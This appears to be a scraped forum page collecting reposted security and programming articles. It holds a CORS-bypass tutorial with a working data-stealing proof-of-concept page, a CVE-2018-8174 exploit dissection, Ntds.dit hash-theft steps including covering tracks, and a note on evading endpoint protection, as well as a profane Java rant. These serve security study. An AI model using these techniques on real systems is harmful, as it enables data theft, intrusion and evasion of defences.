Leaderboard

OWASP Bucharest AppSec Conference 2018 - October 25th - 26th OWASP Bucharest team is happy to announce the OWASP Bucharest AppSec Conference 2018 a two days Security and Hacking Conference with additional training days dedicated to the application security. It will take place between 25th and 26th of October, 2018 - Bucharest, Romania. The objective of the OWASP's Bucharest AppSec Conference is to raise awareness about application security and to bring high-quality security content provided by renowned professionals in the European region. Everyone is free to participate in OWASP and all our materials are available under a free and open software license. Call for papers is now open! Please submit here your talk proposal Call for trainings is now open! Please submit here your training proposal Important dates Call for papers deadline: 24th of September Call for trainings deadline 24th of September The final agenda will be published after 1st of October 2018 CTF qualifiers will be on 29th of September CTF final will be on 25th of September Conference trainings and CTF day is 25th of October 2018 Conference presentation tracks and workshops day is 26th of October 2018 Who Should Attend? Application Developers Application Testers and Quality Assurance Application Project Management and Staff Chief Information Officers, Chief Information Security Officers, Chief Technology Officers, Deputies, Associates and Staff Chief Financial Officers, Auditors, and Staff Responsible for IT Security Oversight and Compliance Security Managers and Staff Executives, Managers, and Staff Responsible for IT Security Governance IT Professionals interested in improving IT Security Anyone interested in learning about or promoting Web Application Security CONFERENCE (Friday 26th of October) Date Location Friday 26th of October, 8.00 AM Venue Location: Hotel Caro Workshops: Hotel Caro Venue Address: 164A Barbu Vacarescu Blvd. 2nd District, 020285 Bucharest, Romania Price and registration The conference entrance is FREE, you need to register on the link provided below, print your ticket and present it at the entrance. The training sessions will be paid. The workshops and CTF attendance is free of charge Registration Limited number of seats! Detalii: https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2018

JavaScript async/await: The Good Part, Pitfalls and How to Use The async/await introduced by ES7 is a fantastic improvement in asynchronous programming with JavaScript. It provided an option of using synchronous style code to access resoruces asynchronously, without blocking the main thread. However it is a bit tricky to use it well. In this article we will explore async/await from different perspectives, and will show how to use them correctly and effectively. The good part in async/await The most important benefit async/await brought to us is the synchronous programming style. Let’s see an example. // async/await async getBooksByAuthorWithAwait(authorId) { const books = await bookModel.fetchAll(); return books.filter(b => b.authorId === authorId); } // promise getBooksByAuthorWithPromise(authorId) { return bookModel.fetchAll() .then(books => books.filter(b => b.authorId === authorId)); } It is obvious that the async/awaitversion is way easier understanding than the promise version. If you ignore the await keyword, the code just looks like any other synchronous languages such as Python. And the sweet spot is not only readability. async/await has native browser support. As of today, all the mainstream browsers have full support to async functions. All mainstream browsers support Async functions. (Source: https://caniuse.com/) Native support means you don’t have to transpile the code. More importantly, it facilitates debugging. When you set a breakpoint at the function entry point and step over the await line, you will see the debugger halt for a short while while bookModel.fetchAll() doing its job, then it moves to the next .filter line! This is much easier than the promise case, in which you have to setup another breakpoint on the .filter line. Debugging async function. Debugger will wait at the await line and move to the next on resolved. Another less obvious benefit is the async keyword. It declares that the getBooksByAuthorWithAwait() function return value is guaranteed to be a promise, so that callers can call getBooksByAuthorWithAwait().then(...) or await getBooksByAuthorWithAwait() safely. Think about this case (bad practice!): getBooksByAuthorWithPromise(authorId) { if (!authorId) { return null; } return bookModel.fetchAll() .then(books => books.filter(b => b.authorId === authorId)); } In above code, getBooksByAuthorWithPromise may return a promise (normal case) or a null value (exceptional case), in which case caller cannot call .then() safely. With async declaration, it becomes impossible for this kind of code. Async/await Could Be Misleading Some articles compare async/await with Promise and claim it is the next generation in the evolution of JavaScript asynchronous programming, which I respectfully disagree. Async/await IS an improvement, but it is no more than a syntactic sugar, which will not change our programming style completely. Essentially, async functions are still promises. You have to understand promises before you can use async functions correctly, and even worse, most of the time you need to use promises along with async functions. Consider the getBooksByAuthorWithAwait() and getBooksByAuthorWithPromises() functions in above example. Note that they are not only identical functionally, they also have exactly the same interface! This means getBooksByAuthorWithAwait() will return a promise if you call it directly. Well, this is not necessarily a bad thing. Only the name await gives people a feeling that “Oh great this can convert asynchronous functions to synchronous functions” which is actually wrong. Async/await Pitfalls So what mistakes may be made when using async/await? Here are some common ones. Too Sequential Although await can make your code look like synchronous, keep in mind that they are still asynchronous and care must be taken to avoid being too sequential. async getBooksAndAuthor(authorId) { const books = await bookModel.fetchAll(); const author = await authorModel.fetch(authorId); return { author, books: books.filter(book => book.authorId === authorId), }; } This code looks logically correct. However this is wrong. await bookModel.fetchAll() will wait until fetchAll() returns. Then await authorModel.fetch(authorId) will be called. Notice that authorModel.fetch(authorId) does not depend on the result of bookModel.fetchAll() and in fact they can be called in parallel! However by using await here these two calls become sequential and the total execution time will be much longer than the parallel version. Here is the correct way: async getBooksAndAuthor(authorId) { const bookPromise = bookModel.fetchAll(); const authorPromise = authorModel.fetch(authorId); const book = await bookPromise; const author = await authorPromise; return { author, books: books.filter(book => book.authorId === authorId), }; } Or even worse, if you want to fetch a list of items one by one, you have to rely on promises: async getAuthors(authorIds) { // WRONG, this will cause sequential calls // const authors = _.map( // authorIds, // id => await authorModel.fetch(id)); // CORRECT const promises = _.map(authorIds, id => authorModel.fetch(id)); const authors = await Promise.all(promises); } In short, you still need to think about the workflows asynchronously, then try to write code synchronously with await. In complicated workflow it might be easier to use promises directly. Error Handling With promises, an async function have two possible return values: resolved value, and rejected value. And we can use .then() for normal case and .catch() for exceptional case. However with async/await error handling could be tricky. try…catch The most standard (and my recommended) way is to use try...catch statement. When await a call, any rejected value will be thrown as an exception. Here is an example: class BookModel { fetchAll() { return new Promise((resolve, reject) => { window.setTimeout(() => { reject({'error': 400}) }, 1000); }); } } // async/await async getBooksByAuthorWithAwait(authorId) { try { const books = await bookModel.fetchAll(); } catch (error) { console.log(error); // { "error": 400 } } The catched error is exactly the rejected value. After we caught the exception, we have several ways to deal with it: Handle the exception, and return a normal value. (Not using any return statement in the catch block is equivalent to using return undefined; and is a normal value as well.) Throw it, if you want the caller to handle it. You can either throw the plain error object directly like throw error;, which allows you to use this async getBooksByAuthorWithAwait() function in a promise chain (i.e. you can still call it like getBooksByAuthorWithAwait().then(...).catch(error => ...)); Or you can wrap the error with Error object, like throw new Error(error) , which will give the full stack trace when this error is displayed in the console. Reject it, like return Promise.reject(error) . This is equivalent to throw error so it is not recommended. The benefits of using try...catch are: Simple, traditional. As long as you have experience of other languages such as Java or C++, you won’t have any difficulty understanding this. You can still wrap multiple await calls in a single try...catch block to handle errors in one place, if per-step error handling is not necessary. There is also one flaw in this approach. Since try...catch will catch every exception in the block, some other exceptions which not usually caught by promises will be caught. Think about this example: class BookModel { fetchAll() { cb(); // note `cb` is undefined and will result an exception return fetch('/books'); } } try { bookModel.fetchAll(); } catch(error) { console.log(error); // This will print "cb is not defined" } Run this code an you will get an error ReferenceError: cb is not defined in the console, in black color. The error was output by console.log() but not the JavaScript itself. Sometimes this could be fatal: If BookModel is enclosed deeply in a series of function calls and one of the call swallows the error, then it will be extremely hard to find an undefined error like this. Making functions return both value Another way for error handling is inspired by Go language. It allows async function to return both the error and the result. See this blog post for the detail: How to write async await without try-catch blocks in Javascript ES7 Async/await allows us as developers to write asynchronous JS code that look synchronous. In current JS version we…blog.grossman.io In short, you can use async function like this: [err, user] = await to(UserModel.findById(1)); Personally I don’t like this approach since it brings Go style into JavaScript which feels unnatural, but in some cases this might be quite useful. Using .catch The final approach we will introduce here is to continue using .catch(). Recall the functionality of await: It will wait for a promise to complete its job. Also please recall that promise.catch() will return a promise too! So we can write error handling like this: // books === undefined if error happens, // since nothing returned in the catch statement let books = await bookModel.fetchAll() .catch((error) => { console.log(error); }); There are two minor issues in this approach: It is a mixture of promises and async functions. You still need to understand how promises work to read it. Error handling comes before normal path, which is not intuitive. Conclusion The async/await keywords introduced by ES7 is definitely an improvement to JavaScript asynchronous programming. It can make code easier to read and debug. However in order to use them correctly, one must completely understand promises, since they are no more than syntactic sugar, and the underlying technique is still promises. Hope this post can give you some ideas about async/await themselves, and can help you prevent some common mistakes. Thanks for your reading, and please clap for me if you like this post. Charlee Li Full stack engineer & Tech writer @ Toronto. Sursa: https://hackernoon.com/javascript-async-await-the-good-part-pitfalls-and-how-to-use-9b759ca21cda

DE CE DUMNEZEII MASII TOT VAD String[] nume; Ma omoara! Vai de pula voastra daca intelege careva ce cacat e String[] r(e o declaratie neinitializata de un array de stringuri) Uite fa asa in pula mea: public class Student{ public String nume; Student(String name){ nume=name; } public class StudentTest{ pula mea main() { Student student1 = new Student("Vasili"); Student student2= new Student("Amariei"); //Baga student 1 si 2 intr-un array //fa un array de studenti Student[] listaStudenti = new Student[10]; //baga-l in array listaStudenti[0]=student1; //CITESTE IN PLM CE E ALA OOP!!! } Sfat: Petrece 4-5 zile fara sa lucrezi la cacatul tau de proiect. Petrece timpul ala invatand ce e OOP. Joaca-te cu niste exemple simple de pe google si incearca sa intelegi cum merge treaba. Nu poti sa sari de la 0 si sa faci proiectul din prima. Daca investesti timp pentru tine, ca sa inveti inainte sa te apuci sa faci un cacat, ai sanse sa construiesti un proiect acceptabil.

Catalog Description Learn how to analyze malware, including computer viruses, trojans, and rootkits, using disassemblers, debuggers, static and dynamic analysis, using IDA Pro, OllyDbg and other tools. Advisory: CS 110A or equivalent familiarity with programming Upon successful completion of this course, the student will be able to: Describe types of malware, including rootkits, Trojans, and viruses. Perform basic static analysis with antivirus scanning and strings Perform basic dynamic analysis with a sandbox Perform advanced static analysis with IDA Pro Perform advanced dynamic analysis with a debugger Operate a kernel debugger Explain malware behavior, including launching, encoding, and network signatures Understand anti-reverse-engineering techniques that impede the use of disassemblers, debuggers, and virtual machines Recognize common packers and how to unpack them Videos: https://samsclass.info/126/126_S17.shtml

Advanced CORS Exploitation Techniques Posted by Corben Leo on June 16, 2018 Preface I’ve seen some fantastic research done by Linus Särud and by Bo0oM on how Safari’s handling of special characters could be abused. https://labs.detectify.com/2018/04/04/host-headers-safari/ https://lab.wallarm.com/the-good-the-bad-and-the-ugly-of-safari-in-client-side-attacks-56d0cb61275a Both articles dive into practical scenarios where Safari’s behavior can lead to XSS or Cookie Injection. The goal of this post is bring even more creativity and options to the table! Introduction: Last November, I wrote about a tricky cross-origin resource sharing bypass in Yahoo View that abused Safari’s handling of special characters. Since then, I’ve found more bugs using clever bypasses and decided to present more advanced techniques to be used. Note: This assumes you have a basic understanding of what CORS is and how to exploit misconfigurations. Here are some awesome posts to get you caught up: Portswigger’s Post Geekboy’s post Background: DNS & Browsers: Quick Summary: The Domain Name System is essentially an address book for servers. It translates/maps hostnames to IP addresses, making the internet easier to use. When you attempt to visit a URL into a browser: A DNS lookup is performed to convert the host to an IP address ⇾ it initiates a TCP connection to the server ⇾ the server responds with SYN+ACK ⇾ the browser sends an HTTP request to the server to retrieve content ⇾ then renders / displays the content accordingly. If you’re a visual thinker, here is an image of the process. DNS servers respond to arbitrary requests – you can send any characters in a subdomain and it’ll respond as long as the domain has a wildcard DNS record. Example: dig A "<@$&(#+_\`^%~>.withgoogle.com" @1.1.1.1 | grep -A 1 "ANSWER SECTION" Browsers? So we know DNS servers respond to these requests, but how do browsers handle them? Answer: Most browsers validate domain names before making any requests. Examples: Chrome: Firefox: Safari: Notice how I said most browsers validate domain names, not all of them do. Safari is the divergent: if we attempt to load the same domain, it will actually send the request and load the page: We can use all sorts of different characters, even unprintable ones: ,&'";!$^*()+=`~-_=|{}% // non printable chars %01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f Jumping into CORS Configurations Most CORS integrations contain a whitelist of origins that are permitted to read information from an endpoint. This is usually done by using regular expressions. Example #1: ^https?:\/\/(.*\.)?xxe\.sh$ Intent: The intent of implementing a configuration with this regex would be to allow cross-domain access from xxe.sh and any subdomain (http:// or https://) The only way an attacker would be able to steal data from this endpoint, is if they had either an XSS or subdomain takeover on http(s)://xxe.sh / http(s)://*.xxe.sh. Example #2: ^https?:\/\/.*\.?xxe\.sh$ Intent: Same as Example #1 – allow cross-domain access from xxe.sh and any subdomain This regular expression is quite similar to the first example, however it contains a problem that would cause the configuration to be vulnerable to data theft. The problem lies in the following regex: .*\.? Breakdown: .* = any characters except for line terminators \. = a period ? = a quantifier, in this case matches "." either zero or one times. Since .*\. is not in a capturing group (like in the first example), the ? quantifier only affects the . character, therefore any characters are allowed before the string “xxe.sh”, regardless of whether there is a period separating them. This means an attacker could send any origin ending in xxe.sh and would have cross-domain access. This is a pretty common bypass technique – here’s a real example of it: https://hackerone.com/reports/168574 by James Kettle Example #3: ^https?:\/\/(.*\.)?xxe\.sh\:?.* Intent: This would be likely be implemented with the intent to allow cross-domain access from xxe.sh, all subdomains, and from any ports on those domains. Can you spot the problem? Breakdown: \: = Matches the literal character ":" ? = a quantifier, in this case matches ":" either zero or one times. .* = any characters except for line terminators Just like in the second example, the ? quantifier only affects the : character. So if we send an origin with other characters after xxe.sh, it will still be accepted. The Million Dollar Question: How does Safari’s handling of special characters come into play when exploiting CORS Misconfigurations? Take the following Apache configuration for example: SetEnvIf Origin "^https?:\/\/(.*\.)?xxe.sh([^\.\-a-zA-Z0-9]+.*)?" AccessControlAllowOrigin=$0 Header set Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin This would be likely be implemented with the intent of cross-domain access from xxe.sh, all subdomains, and from any ports on those domains. Here’s a breakdown of the regular expression: [^\.\-a-zA-Z0-9] = does not match these characters: "." "-" "a-z" "A-Z" "0-9" + = a quantifier, matches above chars one or unlimited times (greedy) .* = any character(s) except for line terminators This API won’t give access to domains like the ones in the previous examples and other common bypass techniques won’t work. A subdomain takeover or an XSS on *.xxe.sh would allow an attacker to steal data, but let’s get more creative! We know any origin as *.xxe.sh followed by the characters . - a-z A-Z 0-9 won’t be trusted. What about an origin with a space after the string “xxe.sh”? We see that it’s trusted, however, such a domain isn’t supported in any normal browser. Since the regex matches against alphanumeric ASCII characters and . -, special characters after “xxe.sh” would be trusted: Such a domain would be supported in a modern, common browser: Safari. Exploitation: Pre-Requisites: A domain with a wildcard DNS record pointing it to your box. NodeJS Like most browsers, Apache and Nginx (right out of the box) also don’t like these special characters, so it’s much easier to serve HTML and Javascript with NodeJS. [+] serve.js var http = require('http'); var url = require('url'); var fs = require('fs'); var port = 80 http.createServer(function(req, res) { if (req.url == '/cors-poc') { fs.readFile('cors.html', function(err, data) { res.writeHead(200, {'Content-Type':'text/html'}); res.write(data); res.end(); }); } else { res.writeHead(200, {'Content-Type':'text/html'}); res.write('never gonna give you up...'); res.end(); } }).listen(port, '0.0.0.0'); console.log(`Serving on port ${port}`); In the same directory, save the following: [+] cors.html <!DOCTYPE html> <html> <head><title>CORS</title></head> <body onload="cors();"> <center> cors proof-of-concept:<br><br> <textarea rows="10" cols="60" id="pwnz"> </textarea><br> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("pwnz").innerHTML = this.responseText; } }; xhttp.open("GET", "http://x.xxe.sh/api/secret-data/", true); xhttp.withCredentials = true; xhttp.send(); } </script> Start the NodeJS server by running the following command: node serve.js & Like stated before, since the regular expression matches against alphanumeric ASCII characters and . -, special characters after “xxe.sh” would be trusted: So if we open Safari and visit http://x.xxe.sh{.<your-domain>/cors-poc, we will see that we were able to successfully steal data from the vulnerable endpoint. Edit: It was brought to my attention that the _ character (in subdomains) is not only supported in Safari, but also in Chrome and Firefox! Therefore http://x.xxe.sh_.<your-domain>/cors-poc would send valid origin from the most common browsers! Thanks Prakash, you rock! Practical Testing With these special characters now in mind, figuring out which Origins are reflected in the Access-Control-Allow-Origin header can be a tedious, time-consuming task: Introducing TheftFuzzer: To save time and to become more efficient, I decided to code a tool to fuzz CORS configurations for allowed origins. It’s written in Python and it generates a bunch of different permutations for possible CORS bypasses. It can be found on my Github here. If you have any ideas for improvements to the tool, feel free to ping me or make a pull request! Outro I hope this post has been informative and that you’ve learned from it! Go exploit those CORS configurations and earn some bounties 😝 Happy Hunting! Corben Leo https://twitter.com/hacker_ https://hackerone.com/cdl https://bugcrowd.com/c https://github.com/sxcurity Sursa: https://www.sxcurity.pro/advanced-cors-techniques/

Dissecting modern browser exploit: case study of CVE-2018–8174 When this exploit first emerged in the turn of April and May it spiked my interest, since despite heavy obfuscation, the code structure seemed well organized and the vulnerability exploitation code small enough to make analysis simpler. I downloaded POC from github and decided it would be a good candidate for taking a look at under the hood. At that time two analyses were already published, first from 360 and second from Kaspersky. Both of them helped me understand how it worked, but were not enough to deeply understand every aspect of the exploit. That’s why I’ve decided to analyze it on my own and share my findings. Preprocessing First in order to remove integer obfuscation I used regex substitution in python script: As to obfuscated names, I renamed them progressively during analysis. This analysis is best to be read with source code to which link is at the end. Use after free Vulnerability occurs, when object is terminated and custom defined function Class_Terminate() is called. In this function reference to the object being freed is saved in UafArray. From now on UafArray(i) refers to the deleted object. Also notice the last line in Class_Terminate(). When we copy ClassTerminate object to UafArray its reference counter is increased. To balance it out we free it again by assigning other value to FreedObjectArray. Without this, object's memory wouldn't be freed despite calling Class_Terminate on it and next object wouldn't be allocated in its place. Creating and deleting new objects is repeated 7 times in a loop, after that a new object of class ReuseClass is created. It's allocated in the same memory that was previously occupied by the 7 ClassTerminate instances. To better understand that, here is a simple WinDbg script that tracks all those allocations: bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g"; bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g"; bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g"; Here is allocation log from UafTrigger function: Class EmptyClass created at 3a7d90 Class EmptyClass created at 3a7dc8 ... Class ReuseClass created at 22601a0 Class ReuseClass created at 22601d8 Class ReuseClass created at 2260210 ... Class ClassTerminateA created at 22605c8 Class ClassTerminateA at: 70541748 ref counter, release called: 2 Class ClassTerminateA at: 70541748 ref counter, release called: 2 Class ClassTerminateA at: 70541748 ref counter, release called: 2 Class ClassTerminateA at: 70541748 ref counter, release called: 1 Class ClassTerminateA at 22605c8, terminate called Class ClassTerminateA at: 70541748 ref counter, release called: 5 Class ClassTerminateA at: 70541748 ref counter, release called: 4 Class ClassTerminateA at: 70541748 ref counter, release called: 3 Class ClassTerminateA at: 70541748 ref counter, release called: 2 Class ClassTerminateA created at 22605c8 Class ClassTerminateA at: 70541748 ref counter, release called: 2 Class ClassTerminateA at: 70541748 ref counter, release called: 2 Class ClassTerminateA at: 70541748 ref counter, release called: 2 Class ClassTerminateA at: 70541748 ref counter, release called: 1 Class ClassTerminateA at 22605c8, terminate called Class ClassTerminateA at: 70541748 ref counter, release called: 5 Class ClassTerminateA at: 70541748 ref counter, release called: 4 Class ClassTerminateA at: 70541748 ref counter, release called: 3 Class ClassTerminateA at: 70541748 ref counter, release called: 2 ... Class ReuseClass created at 22605c8 ... Class ClassTerminateB created at 2260600 Class ClassTerminateB at: 70541748 ref counter, release called: 2 Class ClassTerminateB at: 70541748 ref counter, release called: 2 Class ClassTerminateB at: 70541748 ref counter, release called: 2 Class ClassTerminateB at: 70541748 ref counter, release called: 1 Class ClassTerminateB at 2260600, terminate called Class ClassTerminateB at: 70541748 ref counter, release called: 5 Class ClassTerminateB at: 70541748 ref counter, release called: 4 Class ClassTerminateB at: 70541748 ref counter, release called: 3 Class ClassTerminateB at: 70541748 ref counter, release called: 2 ... Class ReuseClass created at 2260600 We can immediately see that ReuseClass is indeed allocated in the same memory that was assigned to 7 previous instances of ClassTerminate This is repeated twice. We end up with two objects referenced by UafArrays. None of those references is reflected in object's reference counter. In this log we can also notice that even after Class_Terminate was called there are some object manipulations that change its reference counter. That's why if we didn't balance this counter out in Class_Terminate we would get something like this: Class ClassTerminateA created at 2240708 Class ClassTerminateA at: 6c161748 ref counter, release called: 2 Class ClassTerminateA at: 6c161748 ref counter, release called: 2 Class ClassTerminateA at: 6c161748 ref counter, release called: 2 Class ClassTerminateA at: 6c161748 ref counter, release called: 1 Class ClassTerminateA at 2240708, terminate called Class ClassTerminateA at: 6c161748 ref counter, release called: 5 Class ClassTerminateA at: 6c161748 ref counter, release called: 4 Class ClassTerminateA at: 6c161748 ref counter, release called: 3 Class ReuseClass created at 2240740 Different allocation addresses. Exploit would fail to create use after free condition. Type Confusion Having created those two objects with 7 uncounted references to each, we established read arbitrary memory primitive. There are two similar classes ReuseClass and FakeReuseClass. By replacing first class with second one a type confusion on mem member occurs. In SetProp function ReuseClass.mem is saved and Default Property Get of class ReplacingClass_* is called, result of that call will be placed in ReuseClass.mem. Inside that getter UafArray is emptied by assigning 0 to each element. This causes VBScriptClass::Release to be called on ReuseClass object that is referenced by UafArray. It turns out that at this stage of execution ReuseClass object has reference counter equal to 7, and since we call Release 7 times, this object gets freed. And because those references came from use after free situation they are not accounted for in reference counter. In place of ReuseClass a new object of FakeReuseClass is allocated. Now to get its reference counter equal to 7, as was the case with ReuseClass we assign it 7 times to UafArray. Here is memory layout before and after this operation. After this is done the getter function will return a value that will be assigned to the old ReuseClass::mem variable. As can be seen on memory dumps, old value was placed 0xC bytes before the new one. Objects were specially crafted to cause this situation, for example by selecting proper length for function names. Now value written to ReuseClass::mem will overwrite FakeReuseClass::mem header, causing type confusion situation. Last line assigned string FakeArrayString to objectImitatingArray.mem. Header now has value of VT_BSTR Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0 This value overwrote objectImitatingArray.mem type to VT_ARRAY | VT_VARIANT and now pointer to string will be interpreted as pointer to SAFEARRAY structure. Arbitrary memory read The result is that we end up with two objects of FakeReuseClass. One of them has a mem member array that is addressing whole user-space (0x00000000 - 0x7fffffff) and the other has a member of type VT_I4 (4 byte integer) with pointer to an empty 16 byte string. Using the second object, a pointer to string is leaked: some_memory=resueObjectB_int.mem It will be later used as an address in memory that is writable. Next step is to leak any address inside vbscript.dll. Here a very neat trick is used. First we define that on error, script should just continue regular execution. Then there is an attempt to assign EmptySub to a variable. This is not possible in VBS but still a value is pushed on the stack before error is generated. Next instruction should assign null to a variable, which it does, by simply changing type of last value from the stack to VT_NULL. Now emptySub_addr_placeholder holds pointer to the function but with type set to VT_NULL. Then this value is written to our writable memory, its type is changed to VT_I4 and it is read back as integer. If we check the content of this value it turns out to be a pointer to CScriptEntryPoint and first member is vftable pointing inside vbscript.dll To read a value from arbitrary address, in this case pointer returned from LeakVBAddr, the following functions are used: Read is acheived by first writing address+4 to a writable memory, then type is changed to VT_BSTR. Now address+4 is treated as a pointer to BSTR. If we call LenB on address+4 it will return value pointed to by address. Why? Because of how BSTR is defined, unicode value is preceded by its length, and that length is returned by LenB. Now when address inside vbscript.dll was leaked, and having established arbitrary memory read it is a matter of properly traversing PE header to obtains all needed addresses. Details of doing that won’t be explained here. This article explains PE file in great details. Triggering code execution Final code execution is achived in two steps. First a chain of two calls is built, but it’s not a ROP chain. NtContinue is provided with CONTEXT structure that sets EIP to VirtualProtect address, and ESP to structure containing VirtualProtect's parameters. First address of shellcode is obtained using previously described technique of changing variable type to VT_I4 and reading the pointer. Next a structure for VirtualProtect is built, that contains all necessary parameters, like shellcode address, size and RWX protections. It also has space that will be used by stack operations inside VirtualProtect. After that a CONTEXT structure is built, with EIP set to VirtualProtect and ESP to its parameters. This structure also has as first value a pointer to NtContinue address repeated 4 times. Final step before starting this chain is to save the structure as string in memory. This function is then used to start the chain. First it changes type of the saved structure to 0x4D and then sets its value to 0, this causes VAR::Clear to be called. And a dynamic view from debugger Although it might seem complicated this chain of execution is very simple. Just two steps. Invoke NtContinue with CONTEXT structure pointing to VirtualProtect. Then VirtualProtect will disable DEP on memory page that contains the shellcode and after that it will return into the shellcode. Conclusion CVE-2018–8174 is a good example of chaining few use after free and type confusion conditions to achieve code execution in very clever way. It’s a great example to learn from and understand inner workings of such exploits. Useful links Commented exploit code Kaspersky’s root cause analysis 360’s analysis Another Kaspersky’s anlysis CVE-2014–6332 analysis by Trend Micro Sursa: https://medium.com/@florek/dissecting-modern-browser-exploit-case-study-of-cve-2018-8174-1a6046729890

Extracting Password Hashes from the Ntds.dit File March 27, 2017 Jeff Warren Comments 0 Comment AD Attack #3 – Ntds.dit Extraction With so much attention paid to detecting credential-based attacks such as Pass-the-Hash (PtH) and Pass-the-Ticket (PtT), other more serious and effective attacks are often overlooked. One such attack is focused on exfiltrating the Ntds.dit file from Active Directory Domain Controllers. Let’s take a look at what this threat entails and how it can be performed. Then we can review some mitigating controls to be sure you are protecting your own environment from such attacks. What is the Ntds.dit File? The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain. By extracting these hashes, it is possible to use tools such as Mimikatz to perform pass-the-hash attacks, or tools like Hashcat to crack these passwords. The extraction and cracking of these passwords can be performed offline, so they will be undetectable. Once an attacker has extracted these hashes, they are able to act as any user on the domain, including Domain Administrators. Performing an Attack on the Ntds.dit File In order to retrieve password hashes from the Ntds.dit, the first step is getting a copy of the file. This isn’t as straightforward as it sounds, as this file is constantly in use by AD and locked. If you try to simply copy the file, you will see an error message similar to: There are several ways around this using capabilities built into Windows, or with PowerShell libraries. These approaches include: Use Volume Shadow Copies via the VSSAdmin command Leverage the NTDSUtil diagnostic tool available as part of Active Directory Use the PowerSploit penetration testing PowerShell modules Leverage snapshots if your Domain Controllers are running as virtual machines In this post, I’ll quickly walk you through two of these approaches: VSSAdmin and PowerSploit’s NinjaCopy. Using VSSAdmin to Steal the Ntds.dit File Step 1 – Create a Volume Shadow Copy Step 2 – Retrieve Ntds.dit file from Volume Shadow Copy Step 3 – Copy SYSTEM file from registry or Volume Shadow Copy. This contains the Boot Key that will be needed to decrypt the Ntds.dit file later. Step 4 – Delete your tracks Using PowerSploit NinjaCopy to Steal the Ntds.dit File PowerSploit is a PowerShell penetration testing framework that contains various capabilities that can be used for exploitation of Active Directory. One module is Invoke-NinjaCopy, which copies a file from an NTFS-partitioned volume by reading the raw volume. This approach is another way to access files that are locked by Active Directory without alerting any monitoring systems. Extracting Password Hashes Regardless of which approach was used to retrieve the Ntds.dit file, the next step is to extract password information from the database. As mentioned earlier, the value of this attack is that once you have the files necessary, the rest of the attack can be performed offline to avoid detection. DSInternals provides a PowerShell module that can be used for interacting with the Ntds.dit file, including extraction of password hashes. Once you have extracted the password hashes from the Ntds.dit file, you are able to leverage tools like Mimikatz to perform pass-the-hash (PtH) attacks. Furthermore, you can use tools like Hashcat to crack these passwords and obtain their clear text values. Once you have the credentials, there are no limitations to what you can do with them. How to Protect the Ntds.dit File The best way to stay protected against this attack is to limit the number of users who can log onto Domain Controllers, including commonly protected groups such as Domain and Enterprise Admins, but also Print Operators, Server Operators, and Account Operators. These groups should be limited, monitored for changes, and frequently recertified. In addition, leveraging monitoring software to alert on and prevent users from retrieving files off Volume Shadow Copies will be beneficial to reduce the attack surface. Here are the other blogs in the series: AD Attack #1 – Performing Domain Reconnaissance (PowerShell) Read Now AD Attack #2 – Local Admin Mapping (Bloodhound) Read Now AD Attack #4 – Stealing Passwords from Memory (Mimikatz) Read Now To watch the AD Attacks webinar, please click here. Jeff Warren Jeff Warren is STEALTHbits’ Vice President of Product Management. Jeff has held multiple roles within the Product Management group since joining the organization in 2010, initially building STEALTHbits’ SharePoint management offerings before shifting focus to the organization’s Data Access Governance solution portfolio as a whole. Before joining STEALTHbits, Jeff was a Software Engineer at Wall Street Network, a solutions provider specializing in GIS software and custom SharePoint development. With deep knowledge and experience in technology, product and project management, Jeff and his teams are responsible for designing and delivering STEALTHbits’ high quality, innovative solutions. Jeff holds a Bachelor of Science degree in Information Systems from the University of Delaware. Sursa: https://blog.stealthbits.com/extracting-password-hashes-from-the-ntds-dit-file/

Customized PSExec via Reflective DLL July 13, 2018 ~ cplsec Hey all, I’m back in the pocket after doing the deep dive into hack the box. I really enjoyed the bulk of the challenges and learned some new great tricks and techniques. One box I highly recommend is Reel. It’s a great challenge with domain privilege escalation techniques that you might see in a pentest. Anyways, after reaching Guru status I decided to take a step back for a while, it’s a part-time job working all the newly released boxes. Before I went dark I was testing Cobalt Strike’s built-in PSExec module against various Endpoint Protection Platform (EPP) products and was getting flagged. It was pretty clear that the EPPs weren’t detecting the binary but was instead flagging via heuristic analysis. It might have been the randomized filename of the binary, the timing, writing to the $ADMIN share, or some sort of combination. I wrote some skeleton code that can be further customized to help bypass heuristic analysis. The current flow of the reflective DLL and Aggressor script can be seen below. You can find the code at https://github.com/ThunderGunExpress/Reflective_PSExec The code and script is pretty crude and has the following limitations at the moment: Use an IP address as the target, not a hostname If running against a remote target ensure the session is in a medium integrity context If running against a local target ensure the session is a high integrity context Sursa: https://ijustwannared.team/2018/07/13/customized-psexec-via-reflective-dll/

OWASP Juice Shop The most trustworthy online shop out there. (@dschadow) — The best juice shop on the whole internet! (@shehackspurple) — Actually the most bug-free vulnerable application in existence! (@vanderaj) OWASP Juice Shop is an intentionally insecure web application written entirely in JavaScript which encompasses the entire range of OWASP Top Ten and other severe security flaws. For a detailed introduction, full list of features and architecture overview please visit the official project page: http://owasp-juice.shop Setup Deploy on Heroku (free ($0/month) dyno) Sign up to Heroku and log in to your account Click the button below and follow the instructions This is the quickest way to get a running instance of Juice Shop! If you have forked this repository, the deploy button will automatically pick up your fork for deployment! As long as you do not perform any DDoS attacks you are free to use any tools or scripts to hack your Juice Shop instance on Heroku! From Sources Install node.js Run git clone https://github.com/bkimminich/juice-shop.git (or clone your own fork of the repository) Go into the cloned folder with cd juice-shop Run npm install (only has to be done before first start or when you change the source code) Run npm start Browse to http://localhost:3000 Packaged Distributions Install a 64bit node.js on your Windows (or Linux) machine Download juice-shop-<version>_<node-version>_<os>_x64.zip (or .tgz) attached to latest release Unpack and cd into the unpacked folder Run npm start Browse to http://localhost:3000 Each packaged distribution includes some binaries for SQLite bound to the OS and node.js version which npm install was executed on. Docker Container Install Docker Run docker pull bkimminich/juice-shop Run docker run --rm -p 3000:3000 bkimminich/juice-shop Browse to 